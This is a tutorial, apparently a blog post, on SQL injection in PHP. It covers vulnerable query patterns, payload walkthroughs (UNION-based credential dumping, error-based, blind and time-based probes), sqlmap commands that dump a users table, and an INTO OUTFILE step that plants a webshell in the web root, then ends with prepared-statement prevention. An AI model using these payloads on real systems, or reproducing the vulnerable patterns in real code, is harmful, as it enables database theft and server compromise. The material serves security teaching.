PHP Security

SQL Injection in PHP

Youssef
17 May 2026

SQL Injection in PHP Applications

What is SQL Injection?

SQL Injection (SQLi) occurs when user-supplied data is incorporated into a SQL query without proper sanitization, allowing an attacker to manipulate the query's logic. In PHP, this most commonly happens when variables from $_GET, $_POST, or $_COOKIE are concatenated directly into query strings.

🔴

Critical: SQL Injection can lead to full database exfiltration, authentication bypass, data modification, and in some configurations, Remote Code Execution via INTO OUTFILE or xp_cmdshell.

Vulnerable Patterns in PHP

// Pattern 1: Classic string concatenation (mysql_* functions — deprecated)
$id = $_GET['id'];
$result = mysql_query("SELECT * FROM users WHERE id = " . $id);

// Pattern 2: sprintf injection
$query = sprintf("SELECT * FROM users WHERE name = '%s'", $_POST['name']);

// Pattern 3: PDO with emulated prepares OFF but still concatenated
$pdo->query("SELECT * FROM products WHERE id = " . $_GET['id']);

// Pattern 4: ORDER BY injection (can't use prepared statements here)
$col = $_GET['sort'];
$query = "SELECT * FROM items ORDER BY $col";

Types of SQL Injection

  • In-band SQLi — Results returned directly in the HTTP response (UNION-based)
  • Error-based SQLi — Database errors leak information (extractvalue(), updatexml())
  • Blind Boolean-based SQLi — True/false responses reveal data bit by bit
  • Time-based Blind SQLiSLEEP() used to infer data when no output is visible
  • Out-of-band SQLi — DNS/HTTP requests exfiltrate data (requires specific DB permissions)

Classic UNION-based Exploitation

-- Step 1: Find number of columns
?id=1 ORDER BY 1--
?id=1 ORDER BY 2--
?id=1 ORDER BY 3--   ← error = 2 columns

-- Step 2: Find printable columns
?id=-1 UNION SELECT 1,2--

-- Step 3: Extract data
?id=-1 UNION SELECT user(),database()--
?id=-1 UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--
?id=-1 UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users'--
?id=-1 UNION SELECT username,password FROM users--

Error-based Extraction

-- MySQL extractvalue() — leaks data in error message
?id=1 AND extractvalue(1,concat(0x7e,(SELECT version())))--

-- MySQL updatexml()
?id=1 AND updatexml(1,concat(0x7e,(SELECT user())),1)--

Blind Boolean-based

-- Is first character of DB name 'a'?
?id=1 AND SUBSTRING(database(),1,1)='a'--   ← page loads = true

-- Automate with sqlmap
sqlmap -u "http://target.com/item.php?id=1" --dbs
sqlmap -u "http://target.com/item.php?id=1" -D dbname --tables
sqlmap -u "http://target.com/item.php?id=1" -D dbname -T users --dump

Time-based Blind SQLi

-- No output — use SLEEP to confirm injection
?id=1 AND SLEEP(5)--           ← 5 second delay = vulnerable

-- Extract data character by character
?id=1 AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)--

Second-Order SQLi

A particularly dangerous variant where the payload is stored safely (escaped) in the database on input, then retrieved and used unsafely in a subsequent query — bypassing first-layer sanitization entirely.

// Step 1: Register with username:  admin'--
// Step 2: PHP safely stores it (escaped): admin\'--
// Step 3: Later, PHP reads it back and uses it unescaped:
$user = fetch_from_db("admin'--");
$query = "SELECT * FROM profiles WHERE username = '$user'";
// → SELECT * FROM profiles WHERE username = 'admin'--'  INJECTION!

SQLi to RCE via INTO OUTFILE

-- Write a PHP webshell to web root (requires FILE privilege + writable directory)
?id=-1 UNION SELECT "" INTO OUTFILE '/var/www/html/shell.php'--

-- Access: http://target.com/shell.php?cmd=id

Prevention

// CORRECT — Always use prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND name = ?");
$stmt->execute([$id, $name]);

// For dynamic ORDER BY (can't parameterize column names):
$allowed_cols = ['id', 'name', 'email'];
$col = in_array($_GET['sort'], $allowed_cols) ? $_GET['sort'] : 'id';
$query = "SELECT * FROM items ORDER BY $col";

Key Takeaway: Prepared statements with parameterized queries completely prevent SQL injection. Whitelisting is required for dynamic identifiers (column names, table names) which cannot be parameterized.